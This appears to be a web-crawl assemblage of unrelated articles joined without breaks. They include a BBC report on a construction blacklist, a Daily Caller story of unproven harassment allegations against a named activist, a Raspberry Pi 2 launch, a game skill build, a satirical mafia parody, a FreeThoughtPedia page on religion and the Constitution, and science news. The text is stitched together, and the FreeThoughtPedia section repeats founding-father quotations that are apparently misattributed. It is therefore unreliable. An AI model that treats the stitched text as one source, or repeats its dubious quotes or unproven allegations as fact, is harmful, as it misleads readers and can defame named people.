found guilty of breaching the Data Protection Act. The act outlaws the collection and distribution of secret information on individuals without their knowledge. Please turn on JavaScript. Media requires JavaScript to play. Deputy Information Commissioner David Smith said the company should have registered itself with the ICO and therefore qualified for a "clear prosecution" under the act. He said he was also deeply disappointed that firms he described as "household names" had been involved in an allegedly illegal system for many years. He said they would be issued with a legal order not to repeat the offence, and if they breached it they too would face prosecution. "You would have thought they would have got the data protection message by now," he said. The firms include well-known construction companies such as Taylor Woodrow, Laing O'Rourke and Balfour Beatty. Balfour Beatty said it would co-operate with the ICO investigation, and that it did not condone the use of blacklists "in any circumstances". Other companies either said they would conduct their own investigation, or had "inherited" their links with the Consulting Association from previous firms they had taken over. The Consulting Association was unavailable for comment. Blacklisted worker One worker told the BBC he believed he was on the alleged blacklist, because he had found it hard to get work ever since winning a case for unfair dismissal in 2000. He said that even though he and fellow workers won their case, and then defeated the firm again on appeal, he had suffered as a result. "Prior to 2000 I could get work on the most prestigious of contracts, but since then not a single agency has called to offer work," he said. Blacklisting remains rampant in the 21st century
Alan Ritchie
Building workers' union Ucatt
Should builders be monitored? 'I was blacklisted for speaking up' He said that he had been sacked from three different jobs, and had lost "a couple of hundred thousand pounds" in missed work. "Even though I was the victim, they [the companies] have punished me ever since," he said. Business Secretary Lord Mandelson said he was "sorry the practices have taken place" and welcomed the intervention of the information commissioner. "He will need to look into this further to see whether these practices are more widespread and take the appropriate action, as he's already done in this case," the minister added. 'Outlaw blacklists' Not only was the database held without the workers' consent, but the existence of it was repeatedly denied. Following the raid on 23 February, investigators discovered that the Consulting Association's database contained the details of some 3,213 workers, the ICO said. Data included information concerning personal relationships, trade union activity and employment history, it added. Employers paid £3,000 as an annual fee, and £2.20 for individual details, the ICO said. Invoices to construction firms for up to £7,500 were also seized during the raid. The government needs to act now to prevent this discrimination that can blight the lives of many workers
Labour MP John McDonnell
List of database subscribers How firms should obey data law The ICO's revelations led to calls for the government to bring forward anti-blacklisting regulations which were prepared but never introduced. Alan Ritchie, general secretary of the building workers' union Ucatt, said: "Blacklisting remains rampant in the 21st Century. "We will be writing to the government immediately, demanding that they bring forward the existing regulations and introduce them into law immediately. It is the only way to protect the rights of trade union members." TUC general secretary Brendan Barber backed the call to introduce strict new laws, calling the revelations "deplorable". "Not only has information about workers' union membership been recorded and shared, but personal details have also been revealed," he said. "The government must act now and bring in the 1999 blacklisting regulations, to give workers proper protection and access to redress." Labour MP John McDonnell said: "This latest expose of blacklisting demonstrates that blacklisting is still rampant in some industries. "The government must act swiftly now to outlaw blacklisting once and for all. "It is widely suspected that the government caved in under pressure from employers' organisations when I raised this issue last time in Parliament. "This new evidence demonstrates that the government needs to act, and act now, to prevent this discrimination that can blight the lives of many workers."
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Middlesbrough’s Christmas lights were switched on in style with thousands cramming into Centre Square to catch a glimpse.
Lights flooded the public square, with the town’s own 25 foot Christmas tree, plus the existing trees, adorned with sparkling red and white lights.
Christmas songs, fairground rides and live entertainment from characters from the Disney film Frozen entertained the crowds, with a mass countdown from 20 marking the switching on of the lights.
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It came after a day of festive fun, which saw Santa and his reindeers amongst those taking part in the Middlesbrough reindeer parade and community carnival.
Gary and Jan Robson, from Coulby Newham, watched the spectacle with granddaughter Katie, 7.
Katie said: “I loved hearing them sing the Frozen songs and the lights look amazing.”
Gary said: “It has been a lovely day for us all. There’s loads of people here, it’s one for the kids and everyone seems to have really enjoyed it.”A Manchester ice-cream shop, Ice Shack, which already served up an impressive range of decadent vegan desserts has now decided to ditch the dairy and go 100% vegan!
Vegan ice-creams have been taking the world by storm in recent months, with Ben ‘n’ Jerry’s launching a whole range of dairy-free ice-creams throughout the U.S, Fry’s launching a range of artisan coconut milk ice-creams, Cornetto Italy announcing the addition of a vegan Cornetto range and Alpro debuting a range of dairy-free delights. So it’s no surprise that a Manchester ice-cream shop that already served a delicious range of vegan ice-creams has decided to shun dairy once and for all and go 100% vegan!
What’s on the menu?
From cakes and pastries, to truffles, sorbets and ice-creams, here’s a little taste of what you can expect to find on Ice Shack’s new vegan menu…
Vegan ice-creams and sorbets
Coconut/Chocolate/Raspberry/Raspberry & Mango/Strawberry/Vanilla/Wild Berry/Blackcurrant Sorbet/Lemon Sorbet/Orange Sorbet/Mint Choc Chip/Salted Caramel
Vegan Cakes and Pastries
Apple Pie/Chocolate Cake/Lemon Cheesecake/Mango & Passion Fruit Cheesecake/Sponge/Flapjack/Carrot Cake/Doughnuts/Waffles/Spiced Ginger Cake
Vegan truffles
Dark Chocolate/Dark Chocolate & Ginger/Dark Chocolate, Lime & Chilli/Salted Caramel/Champagne/Cappuccino/Kirche/Lavender/Mint/Mango
A post shared by Ice Shack (@iceshackm20) on Jan 28, 2017 at 2:05pm PST
We’re excited to hear that the store will even feature a chocolate counter, and according to Fat Gay Vegan it will contain “more than 20 vegan dark, milk and white chocolate truffles, a raw chocolate bar range featuring five flavours, chocolate shortbreads and a vegan dog biscuit range with peanut butter and carrot treats.”
If you’re thirsty you can get stuck into one of their super-decadent soyshake milkshakes!
When does it re-open, and where can I find it?
The store will re-open on April 4th, and you can find it on the edge of Withington Village, Manchester, directly behind Withington Library on the corner of Wilmslow Road, at 1c 160-164 Wellington Road and Rippingham Road.
For more information, please visit www.iceshack.co.uk. You can also follow Ice Shack on Instagram, Twitter and Facebook.
Source: Fat Gay Vegan.
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Tags: newsA zero-waste grocery store recently opened its doors in Germany and everyone should get excited. 80% of items sold in supermarkets is wrapped in toxic packaging. In effect, Americans still produce near 3 pounds of trash every day, and this is a big problem. So what could be an intelligent solution? How about a zero-waste grocery store that utilizes no waste materials.
To eliminate food-packaging waste before it even gets into the shopping cart is the success behind Original Unvertpackt, a new supermarket in Germany that takes things into zero-waste territory by encouraging consumers to tote reusable containers to the store.
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Nothing that comes in a disposable box, bag, jar, or other container is sold at this store. And instead of shelf after shelf of boxed items, this supermarket utilizes bulk bins, attractively displayed produce that’s not shrink wrapped or stored in tetra packs, and beverage stations for refillable water bottles.
It is the brainchild of Sara Wolf and Milena Glimbovski, two Germany-based social impact innovators. They want consumers to have a choice about how much food they buy, as well eliminating unnecessary waste associated with the packaging.
As the creators noted on their website, this generation has “littered the world,” so maybe the next one has a chance to make it better.
Do you think this concept could be implemented in America or any other parts of the world?
By This article (This Zero-Waste Grocery Store Has No Packaging, Plastic Or Big-Name Brands) is free and open source. You have permission to republish this article under a Creative Commons license with attribution to the author and TrueActivist.com.
advertisementThe inspiration behind the Women’s March on DC, Linda Sarsour, has been accused of enabling the alleged sexual assault and harassment of a woman who worked for the feminist activist, according to the victim and two sources directly familiar with the matter.
Allegations of groping and unwanted touching were allegedly brought to Sarsour during her time as executive director of the Arab American Association. In response, Sarsour, a self-proclaimed champion of women, attacked the woman bringing the allegations, often threatening and body-shaming her, these sources alleged. The most serious allegations were dismissed, Asmi Fathelbab, the alleged victim told The Daily Caller, because the accused was a “good Muslim” who was “always at the Mosque.”
“She oversaw an environment unsafe and abusive to women,” said Fethelbab, a former employee at the Arab American Association. “Women who put [Sarsour] on a pedestal for women’s rights and empowerment deserve to know how she really treats us.”
Fathelbab is a 37-year-old New York native and was raised in a Muslim household. She was excited in 2009 to begin working at the Arab American Association of New York as a contractor. At the time, Sarsour was the executive director of the organization. Fathelbab worked for Sarsour for almost a year, according to employment documents reviewed and authenticated by TheDC.
Fathelbab claims the Arab American Association was an unsafe workplace where she was allegedly sexually assaulted, body-shamed and intimidated.
Oftentimes, Sarsour was directly involved, according to the ex-staffer’s account.
The problems began in early 2009 when a man named Majed Seif, who lived in the same building where the Arab American Association offices are located, allegedly began stalking Fathelbab.
“He would sneak up on me during times when no one was around, he would touch me, you could hear me scream at the top of my lungs,” Asmi Fathelbab tells TheDC. “He would pin me against the wall and rub his crotch on me.”
Asmi claims one of Majed’s alleged favorite past times was sneaking up on her with a full erection.
Linda Sarsour halts interview to yell at Daily Caller News Foundation
“It was disgusting,” she tells The Caller. “I ran the youth program in the building and with that comes bending down and talking to small children. You have no idea what it was like to stand up and feel that behind you. I couldn’t scream because I didn’t want to scare the child in front of me. It left me shaking.”
The Daily Caller was provided with a link to Seif’s Facebook page and confirmed his identity, location and employment.
Fathelbab says she went to leadership at the organization to report the sexual assault. She alleges she was dismissed by Sarsour outright. “She called me a liar because ‘Something like this didn’t happen to women who looked like me,'” Asmi says. “How dare I interrupt her TV news interview in the other room with my ‘lies.'”
Asmi Fathelbab says Sarsour regularly body-shamed her and enabled Seif’s sexual assault.
According to Fathelbab, Sarsour threatened legal and professional damage if she went public with the sexual assault claims.
“She told me he had the right to sue me for false claims,” Asmi recalls, adding that the assaulter allegedly “had the right to be anywhere in the building he wanted.”
Desperate after multiple dismissals by Sarsour, the distraught employee says she went to the president of the board of directors, Ahmed Jaber.
“Jaber told me my stalker was a ‘God-fearing man’ who was ‘always at the Mosque,’ so he wouldn’t do something like that,” Fathelbab claims. “He wanted to make it loud and clear this guy was a good Muslim and I was a bad Muslim for “complaining.”
A furious Sarsour allegedly raged against Fathelbab for continuing to report her sexual assault in the building. According to Fathelbab, her allegations would result in her getting written up for disciplinary action. She told TheDC she was once forced to talk to a detective from the community liaison division about the consequences of making false claims to the authorities.
After Fathelbab’s contract was up, Sarsour allegedly threatened to keep her from working again in the city.
“She told me I’d never work in NYC ever again for as long as she lived,” Asmi says. “She’s kept her word. She had me fired from other jobs when she found out where I worked. She has kept me from obtaining any sort of steady employment for almost a decade.”
Two people who knew Fathelbab during her time at the Arab American Association spoke with TheDC on condition of anonymity. Both corroborate her story, recalling that Asmi would return “emotionally distressed and in a panic” from work, often describing it as an “unsafe” work environment.
Another New York political operative, who spoke on the condition of anonymity, claims that Sarsour was “militant against other women” at the Association. This operative, who has worked for over 12 years with the Arab American Association, says they remember Asmi and witnessed her getting harassed in the building.
“They made it about her weight, saying she was not attractive enough to be harassed and then swept it under the rug,” the source said. “It was Linda Sarsour, Ahmad Jaber and Habib Joudeh who took care of it.” Habib Joudeh is the vice president of the Arab American Association of New York.
The source even identified Fathelbab’s alleged assaulter without prompting, “Majed Seif, the man who lived in the building.”
The operative, who is a practicing Muslim in the community, says a toxic culture at the Arab American Association led to the environment of harassment.
“It’s always going to be the woman’s fault over there,” she alleges. “And Sarsour was there to protect the men. She’s not for other women. The only women she’s for is for herself.”
Another New York political insider, who has worked professionally with the Arab American Association for over a decade, says this is not the first time they have heard a complaint like this.
“Sarsour is only a feminist outwardly,” the insider said on the condition of anonymity, due to the source’s current political position. “Her interactions toward women in that building were atrocious. She would protect the patriarchy and in return they would promote her.”
Fathelbab career has never recovered, however, after her nightmare at the the Arab American Association.
“Just wait until more people start to talk,” she says. “Sarsour is no champion of women. She is an abuser of them.”
TheDC has reached out to both Sarsour, the Women’s March Organization, Majed Seifand the Arab American Association for comment multiple times over the last 48 hours. Our requests for comment have been met with silence. We will update the post with any new information as it comes.
Here is an annotated account of the sexual assault, provided to The Daily Caller by Asmi Fathelbab:Pics The Raspberry Pi Foundation is likely to provoke a global geekgasm today with the surprise release of the Raspberry Pi 2 Model B. It's a turbocharged version of the Pi B+, boasting a new Broadcom BCM2836 900MHz quad-core system-on-chip with 1GB of RAM – all of which will drive performance "at least 6x" that of the B+.
Speaking to The Register last week, foundation head honcho Eben Upton said: "I think it's a usable PC now. It was always the case that you could use a Raspberry Pi 1 as a PC but you had to say 'this is a great PC in so far as it cost me 35 bucks'. We've removed the caveat that you had to be a bit forgiving with it. Now it's just good."
The Raspberry Pi 2 Model B. Click to embiggen
Outwardly, there's little to distinguish the Pi 2 from the Pi 1 Model B+, as it's now designated.
At its heart, though, is the BCM2836 SoC, which according to Upton has been in development for a couple of years. It's "very, very similar" to its predecessor – the BCM2835 – but with four cores and "a little tweak to allow us to address the gig of RAM," he explained.
The BCM2835, as used in previous Pis, is a Broadcom GPU – the VideoCore IV – with a single 700MHz 32-bit ARM1176JZF-S application core glued in to run software. The system-on-chip is shipped with 256MB or 512MB of RAM stacked on top.
The new BCM2836, on the other hand, contains four 32-bit ARMv7 Cortex-A7 cores with 1GB of RAM (and the same VideoCore IV GPU).
We've given the new BCM2836 Pi 2 a quick blast, with SPB apprentice boffin Katarina having the honour of being one of the first to lay hands on the board. It seems nippy enough but just how it measures up remains to be seen.
Regarding the claimed 6x performance increase over the B+, Upton said: "That's one of those things where you ask 'how do you put a number on it?'"
"If you run a multi-threaded synthetic CPU benchmark on it, they all spit out a number that's about six. That's both optimistic and pessimistic. It's optimistic because, of course, those are multi-threaded benchmarks. It's pessimistic because I don't think those synthetic benchmarks punish the [ARM processor] hard enough."
The Broadcom BCM2836 chip in the new Pi 2. Click to embiggen
Upton, a chip architect at Broadcom, continued: "Where the ARM11 starts to fall down really, particularly with the kind of small caches we have on the BCM2835, is when it starts to run actual applications. I think we ran SunSpider [on the BCM2836] and even though that's going to be a single threaded benchmark, that was something like 3x performance just on a single core.
"So we figured, what's a defensible number, and [six] is the number that comes out of SysBench. We just wanted to have an answer when someone asked 'Where did you come up with that?'"
Fair enough. So, what might people do with this extra speed? Upton reckons it'll be handy "probably in the embedded makery world, for some image processing stuff."
He elaborated: "There are a lot of people who want to do computer vision things like OpenCV. You can optimise OpenCV pretty well to run on the DSPs that are in Pi 1, but in the end there's just no substitute for just lots more CPU performance."
Another view of the Pi 2. Click to enlarge
Quite so. Agreeably, the Pi 2 will sell at the same price as the B+ – $35 – but the latter will live on.
Upton told us: "We've sold something like 60 or 70,000 freshly manufactured Bs since we launched the B+, because, for example, industrial customers don't want to move on. I think that although the Pi 2 and the B+ are going to be the same price, there will be a bunch of industrial customers who, for a variety of reasons, will just stick with the B+ because they're comfortable with it."
Accordingly, the predicted manufacturing mix for this year will be 80 per cent Pi 2, and 20 per cent Pi B+, as customers gradually migrate to the faster model.
The Pi 2 goes on sale today from the usual outlets. Upton promised 100,000 units available straight away, with Sony's plant in Pencoed, South Wales, churning out more at the rate of "thousands a day".
He said: "If it's as popular as I think it will be, I'm sure there be a little queue, but it won't be the 2012 experience where the queue was six months long."
For geeks on a really tight budget, the $20 Pi A+ will still be available, and Upton provocatively noted "there is a slot in the name space for a Raspberry Pi 2 Model A." Such a stripped-down version boasting the BCM2836 would doubtless be a winner, although the Raspberry Pi Foundation has no immediate plans to release it.
Our own Pi 2 is winging its way to Low Orbit Helium Assisted Navigator (LOHAN) autopilot wrangler Linus Penzlien, to assist in programming our Vulture 2 spaceplane's autopilot, and when we suggested to Upton it'd be a nice present for the German brain surgeon, he said: "I'm hoping this is a nice present for Linux gods everywhere." ®
This article was updated shortly after publication to make clear the new BCM2836 includes four ARM Cortex-A7 cores. RS Components, for one, has the new model in stock.Reports: Greg Schiano Deal With Tennessee Is No More
Sometimes, you have one of those moments when you see something that you know you’ll never forget.
It’s not that you look back on it and figure it out later — you know. In that exact moment, with whatever’s going on, you know it’s something that you’ll carry with your memories as long as you can.
Well, today that happened for many, including me.
After news broke early this morning that Greg Schiano and Tennessee were finalizing a deal that made Schiano the Vols’ new head coach, fans united. Politicians chimed in. People stormed Neyland and the Anderson Training Center.
After hours of unending backlash and relentless protest, multiple reports are saying the deal is no more.
“Deal is off” — Houston Kress (@VolRumorMill) November 26, 2017
Greg Schiano will not be the Head Coach at Tennessee. It’s done. — Trey Wallace (@TreyW_Radio) November 26, 2017
I think we’re done here. — Brian Rice (@briancrice) November 26, 2017
A bunch of people I trust got the same thing at the same time as Houston. — Brian Rice (@briancrice) November 26, 2017
Just think about this. This morning, John Currie and Tennessee had all but finalized a deal with Greg Schiano to wrap up the coaching search. With only papers left to sign and reports to spread, Tennessee’s fanbase and Vol reach reacted so forcefully that a university literally went back on a coaching hire.
It’s a day I’ll never forget.
Again, nothing is officially confirmed, but neither was the hire. John Currie might have a lot of explaining to do, but now Vol fans are left with more questions than answers.
What next? I guess we’ll wait and see. But fans might have more say than they did just 12 hours before.Pardon me
This is a public build.
Rank 1 Cleric 5 / 5 2 Heal
Video Heal: Enhance
Type: Passive
* Increases the damage and heal factor of [Heal] by 0.5% per attribute level
* +10% added bonus at maximum level
Cleric 1st Circle required Heal: Creating Extra
Type: Active
* Adds a 2% chance per attribute level of being automatically healed when using [Heal]
* Increases SP consumption by 20%
Cleric 1st Circle required Heal: Remove Damage
Type: Active
* [Heal] will not inflict damage nor react to enemies
* Increases SP consumption by 10%
Cleric 1st Circle required Heal: Open Sanctuary
Type: Active
* Extends the effects of [Heal] to neutral characters.
Cleric 1st Circle required Heal: Exclude Summons
Type: Active
* Keeps [Heal] effects from applying to summons.
Cleric 1st Circle required Heal: Linger
Type: Active
* Applies a buff that continuously restores the HP of allies healed with Heal or Mass Heal
* The buff lasts 10 sec and restores HP in a value equal to [attribute level x 5]% of your Healing stat
* Increases SP consumption by 30%
Cleric 3rd Circle required Heal
[Magic] - [Holy]
Creates a magic circle in front of you, healing allies or damaging enemies. Does not affect airborne enemies. Amount of HP recovered depends on the target's maximum HP. Recovery increases with the casting character's INT and SPR.
Level 5:
Attack 228%
Heal factor 228%
Magic circle duration 40 sec
No. of heal circles 5
SP: 38
Type: Magic / Buff
Cooldown: 22s
Element:
Creates a magic circle in front of you, healing allies or damaging enemies. Does not affect airborne enemies. Amount of HP recovered depends on the target's maximum HP. Recovery increases with the casting character's INT and SPR.Attack 228%Heal factor 228%Magic circle duration 40 secNo. of heal circles 538Magic / Buff22s 1 / 5 Cure
Video Cure: Enhance
Type: Passive
* Increases the damage dealt on an enemy with [Cure] by 0.5% per attribute level
* +10% added damage at maximum level
Cleric 1st Circle required Cure: Damage Interval
Type: Active
* Decreases the interval of [Cure]'s magic circle by 0.2 seconds
* Increases SP consumption by 20%
Cleric 2nd Circle required Cure
[Magic] - [Holy]
Creates a magic circle that removes a Lv1 status ailment from allies or inflicts damage to enemies. Does not affect airborne enemies.
Level 1:
0.4 second attack 103%
No. of Hits: 10
Magic Circle Duration: 6 seconds
SP: 15
Type: Magic / Buff
Cooldown: 27s
Element:
Creates a magic circle that removes a Lv1 status ailment from allies or inflicts damage to enemies. Does not affect airborne enemies.0.4 second attack 103%No. of Hits: 10Magic Circle Duration: 6 seconds15Magic / Buff27s 5 / 5 Safety Zone
Video Safety Zone: Increased Range
Type: Active
* Increases range applied by [Safety Zone] to 15
* Increases SP consumption by 80%
Cleric 1st Circle required Safety Zone: Block Count
Type: Active
* Increases block count of [Safety Zone] by 1 per attribute level
* Increases SP consumption by 10%
Cleric 2nd Circle required Safety Zone
Creates a magic circle that blocks incoming attacks.
Level 5:
Blocks: 10 times
Magic Circle Duration: 20 seconds
SP: 47
Type: Magic / Buff
Cooldown: 48s
Element:
Creates a magic circle that blocks incoming attacks.Blocks: 10 timesMagic Circle Duration: 20 seconds47Magic / Buff48s 4 / 5 Deprotected Zone
Video Deprotected Zone: Enhance
Type: Passive
* Adds to the defense decrease effect of [Deprotected Zone] by 1 per attribute level
* This attribute applies after the stack calculation
Lv3 Deprotected Zone required Deprotected Zone: Retention Time
Type: Active
* Increases duration of [Deprotected Zone]'s magic circle by 1 second per attribute level
* Increases SP consumption by 10%
Cleric 1st Circle required Deprotected Zone: Sword Attack
Type: Active
* Using basic sword attacks on enemies with [Deprotected Zone] will inflict [Weakened Defense]
* [Weakened Defense] can be stacked up to 10 times
Increases SP consumption by 10%
Cleric 1st Circle required Deprotected Zone
Creates a magic circle that decreases the defense of enemies over time.
Level 4:
Reduces 0.3% per stack
Magic Circle Duration: 12 seconds
SP: 37
Type: Magic / Buff
Cooldown: 13s
Element:
Creates a magic circle that decreases the defense of enemies over time.Reduces 0.3% per stackMagic Circle Duration: 12 seconds37Magic / Buff13s
Rank 2 Krivis 0 / 5 Aukuras
Video Aukuras: Enhance
Type: Passive
* Increases the heal factor of [Aukuras] by 0.5% per attribute level
* +10% added bonus at maximum level
Krivis 1st Circle required Aukuras: Fire Property Resistance
Type: Active
* Increases Fire property resistance by 14 per attribute level when [Aukuras] is active
* Increases SP consumption by 10%
Krivis 1st Circle required Aukuras: Goddess of Fire
Type: Active
* Ally magic attacks within range of [Aukuras] deal additional Fire property damage
* Decreases torch duration by 10 seconds
* Eliminates the amount of HP recovered
* Increases SP consumption by 20%
* Decreases cooldown by 30 seconds
Krivis 2nd Circle required Aukuras
Summons a holy torch, constantly restoring the HP of nearby allies while reducing the accuracy of nearby enemies. While nearby the torch, the duration of harmful effects will constantly be reduced.
Level 1:
Heal factor 30%
Torch duration 30 sec
Add. Fire property damage per magic attack 0
SP: 28
Type: Magic / Buff
Cooldown: 60s
Element:
Summons a holy torch, constantly restoring the HP of nearby allies while reducing the accuracy of nearby enemies. While nearby the torch, the duration of harmful effects will constantly be reduced.Heal factor 30%Torch duration 30 secAdd. Fire property damage per magic attack 028Magic / Buff60s 5 / 5 Zalciai
Video Zalciai: Duration
Type: Active
* Increases duration of [Zalciai] by 3 seconds per attribute level
* Increases SP consumption by 20%
Krivis 1st Circle required Zalciai: Magic Amplification
Type: Active
Increases magic amplification by 12 per attribute level when [Zalciai] is active
* Increases SP consumption by 10%
Krivis 1st Circle required Zalciai: Enhance
Type: Passive
* Increases critical attack of [Zalciai] by 1% per attribute level
Lv. 3 Zalciai required Zalciai
Creates a magic circle that increases the critical abilities of allies or decreases the critical abilities of enemies.
Level 5:
Ally's Critical Attack: +42
Enemy's Critical Resistance: -50
SP: 58
Type: Magic / Buff
Cooldown: 20s
Element:
Creates a magic circle that increases the critical abilities of allies or decreases the critical abilities of enemies.Ally's Critical Attack: +42 |
. It's a form of Hate Speech, and it should be against the law, if it isn't already."
All five men remained silent, for a few minutes, reflecting on their crimes.
Finally, Zach broke the silence. "What have we heard about the Turk?"
"JESUS CHRIST!" the other four interjected, then hung their heads in shame.
"Mister Sollozzo is holed up with that police captain," Tom said at last. "He's untouchable with that kind of protection. What you have to understand is that no one has ever attacked a New York police captain. All of the five families, and the Human Rights Commission, would turn against us."
"You get me a gun, and I'll kill him," said Zach. "And I won't do it out of any racial or religious animus. I'll do it out of respect for my father."
Sonny hugged Zach, violently, smiled, and said "Tom, this is speech, and this man's taking it very personal. It ain't like the war. You gotta get up on top of them until you see the whites of their eyes and then BADA-BING! All over your nice Ivy League suit!"
Clemenza sighed, "Sonny, I wish you hadn't said that. The Bada-Bing is a strip club in a racist melodrama that denigrates Italian-Americans as gangsters, sexists, and thugs. The media have promoted this stereotype through a plethora of mafia movies. It's fair to say that a disproportionate number of Italian-Americans have been portrayed as hoodlums by Hollywood. Though not to the same extent as people of color, marginalized European-Americans, such as Italian-Americans, Greek-Americans, Serb-Americans, and Ukrainian-Americans, are generally reduced by screenwriters to a caricature of what Anglo-Americans deem them to be. Tragically, this marginalization at the hands of White society leads these maligned peoples into prejudicial conduct against women and people of color, the true victims of Hate Speech. If we're ever to move forward, the sort of speech in which you just engaged needs to be outlawed."
"So there's no hope for us?" Zach asked.
"I guess not. We should turn ourselves in to the Human Rights Commissioners," Tessio agreed.
And so ended the Five Families War of 1946.
Last 5 posts by Patrick Non-WhiteWould you like to add or edit content here? Here's how you can have an account!
From FreeThoughtPedia
Where is religion and God mentioned in the Constitution?
The United States Government is founded on The Constitution. That document defines and determines the nature and intent of the structure of the country's ruling body.
Nowhere in the Constitution is "God" mentioned.
Nowhere in the Constitution is "Jesus" or "Christianity" or any specific type of religion or belief system mentioned. Surely if the entire nation was founded on Christianity, if that were the maker's intent, they would have mentioned it. Instead, it's exactly the opposite. The founding fathers made it quite clear the government was secular.
The only reference to religion in the main body of the Constitution is in Article VI which is explicitly secular in nature:
"no religious Test shall ever be required as a Qualification to any Office or public Trust under the United States."
Furthermore the First Amendment to the Constitution makes another secular statement:
"Congress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof..."
The Constitution is un-ambiguous when it comes to suggesting that no religious qualification is needed to serve in government, and government shall in no way endorse (nor prohibit) the establishment or exercise of religion.
What our founding fathers had to say about religion
The argument that our country is a "Christian Nation" is pretty easy to disprove. A pretty common argument involves mention of the "In God We Trust" phrase which appears on both our paper and coin currencies. Of course, this phrase didn't appear on the coins until the late 1800s, and not on the the bills until the 1950s.
In addition, many of our founding fathers were not Christians. Some quotes from those clever folks:
John Adams
"God is an essence that we know nothing of. Until this awful blasphemy is got rid of, there will never be any liberal science in the world."
George Washington
"Religious controversies are always productive of more acrimony and irreconcilable hatreds than those which spring from any other cause. Of all the animosities which have existed among mankind, those which are caused by the difference of sentiments in religion appear to be the most inveterate and distressing, and ought most to be depreciated. I was in hopes that the enlightened and liberal policy, which has marked the present age, would at least have reconciled Christians of every denomination so far that we should never again see the religious disputes carried to such a pitch as to endanger the peace of society." -- letter to Edward Newenham, 1792
Benjamin Franklin
"In the affairs of the world, men are saved, not by faith, but by the lack of it."
Thomas Jefferson
"Religious bondage shackles and debilitates the mind and unfits it for every noble enterprise." - letter to Wm. Bradford, April 1, 1774
"I have recently been examining all the known superstitions of the world, and do not find in our particular superstition (Christianity) one redeeming feature. They are all alike founded on fables and mythology."
“Christianity is the most perverted system ever shone to man.”
"Question with boldness even the existence of a God; because, if there be one, he must more approve of the homage of reason, than that of blindfolded fear."
“Believing with you that religion is a matter which lies solely between man & his god, that he owes account to none other for his faith or his worship, that the legitimate powers of government reach actions only, and not opinions, I contemplate with sovereign reverence that act of the whole American people which declared that their legislature should make no law respecting an establishment of religion, or prohibiting the free exercise thereof, thus building a wall of separation between church and state.”
The Treaty of Tripoli
"As the government of the United States of America is not in any sense founded on the Christian Religion,--as it has in itself no character of enmity against the laws, religion or tranquility of Musselmen,--and as the said States never have entered into any war or act of hostility against any Mohammedan nation, it is declared by the parties that no pretext arising from religious opinions shall ever interrupt the harmony existing between the two countries."
What Leading Scientists Say About The Bible
Bill Nye
"The biblical verse Genesis 1:16 reads: “God made two great light, the greater light to govern the day and the lesser light to govern the night. He also made the stars. The sun, the 'greater light,' is but one of countless stars and that the 'lesser light' is the moon, which really is not a light at all, rather a reflector of light."
The Christian Majority
Some Christians claim that because the majority of people in America are Christian, America is a Christian Nation. However this argument has many holes in it. For example, does that mean that because there are a majority of women in America, America is a female Nation?
Religion is a problem.
In accordance with the Treaty of Tripoli, and the ambitions of egalitarianism, both religiously and politically, the founders of the United States of America made quite clear the Religious equality that they sought shall never be infringed upon. To attempt to counter-act the religious freedom constituted by the first amendment is treason to the United States of America, an act quite often committed by Christians.
See Also
The following article is a Work In Progress. At present nobody is working on this article. If nobody is specifically working on this page, you are invited to help edit it and make it better.Facebook is copying Snapchat…once again. The company initially copied Snapchat when it brought Snapchat’s popular Stories feature to Instagram back in August of last year. Over the past couple of months, Facebook has been making a lot of improvements to Instagram Stories. Instagram Stories already has 150 million active users, which is very close to Snapchat’s statistics. In addition to Instagram, Facebook is also testing a Snapchat Stories-like feature for Messenger.
And now, Facebook is bringing a new Stories feature to its social network on mobile devices. The company today announced that it’s testing the new Facebook Stories feature with a group of users, but it’ll be widely available in the coming months.
Facebook Stories, as you may have already guessed, is almost exactly like Snapchat and Instagram Stories where you get to see the latest stories from your friends on the top of your News Feed. From there, you can start your own story for a day, or view your friends’ stories.
To start your own story or add more videos/pictures to your story, you can simply swipe left to open up the camera on the app, add stickers, draw, add emojis, text, and more. If you have used Snapchat or Instagram Stories, you should be able to find your way around Facebook Stories instantly.
It’s no doubt Facebook Stories will be a huge success for the company — the company already has nearly 1.8 billion monthly active users and it’s still growing rapidly as more people around the globe get access to the internet. This is indeed a huge threat to a (fairly) small company like Snap Inc. (the parent company of Snapchat) and it’ll be very interesting to see how the company tackles Facebook in the future. Snap is yet to take any legal action against Facebook, but that probably won’t be the case anymore.
Facebook’s Stories feature is not available to all users at the moment, but it’s available to some users on its Android and iOS apps. As for Windows 10, Facebook will likely roll it out once the feature is rolled out to all users.Penis worms are pretty freaky. Observe:
But the ancient species Ottoia was even more terrifying than its modern-day kin: Scientists believe it could turn its mouth inside-out and use its tooth-lined throat (which probably resembled a cheese grater) to drag itself around, grappling-hook style. Oh, and to snare its prey, too.
Reconstruction of the Penis Worm Ottoia in its burrow. (Smokeybjb)
Those teeth turned out to be as important as they are terrifying. Because penis worms are, well, pretty flaccid, they don't stand up well to the rigors of time. It's hard to find a fossil of a squishy-bodied animal, and during the Cambrian period -- when penis worms like the Ottoia were slithering about the planet -- most living creatures were fairly boneless.
[‘Leech-nado': Scientists are working to identify the leech species swarming in this video]
Knowing that these particular critters had tons of teeth means that researchers can look for those bony fragments in lieu of complete fossils. But the teeth are tiny, so researchers often mistake them for other things. Or if they find them, they might not know which penis worm's maw they're looking at.
Close-up of the everted tooth-covered 'throat' of Ottoia, in a fossil from the Burgess Shale. (Martin Smith)
So a group of intrepid penis worm researchers have set out to make an intense dental study of the penis worm. Their findings were published Wednesday in the journal Paleontology.
"Taken together, our study has allowed us to compile a 'dentist's handbook' that will help paleontologists recognize a range of early teeth preserved in the fossil record," lead author Martin Smith of the University of Cambridge said in a statement.
"As teeth are the most hardy and resilient parts of animals, they are much more common as fossils than whole soft-bodied specimens," he explained. "But when these teeth - which are only about a millimetre long - are found, they are easily misidentified as algal spores, rather than as parts of animals. Now that we understand the structure of these tiny fossils, we are much better placed to a wide suite of enigmatic fossils."
Compendium of microfossils identified as Ottoia teeth. Scale bar represents 50 µm (0.05 mm). (Tom Harvey)
By using high-resolution imaging techniques to classify the Ottoia teeth, they were also able to distinguish the teeth of several other ancient penis worm species.
Today penis worms only persist in extreme environments, so they don't occupy much space. But back in the Cambrian, they flourished. And thanks to the new dental research, it's possible that paleontologists will uncover new species that have been lost to time.
Want more science? Give these a click:
Giant, ancient rodents may have used their teeth like an elephant’s tusks
Killer sperm prevents mating between worm species
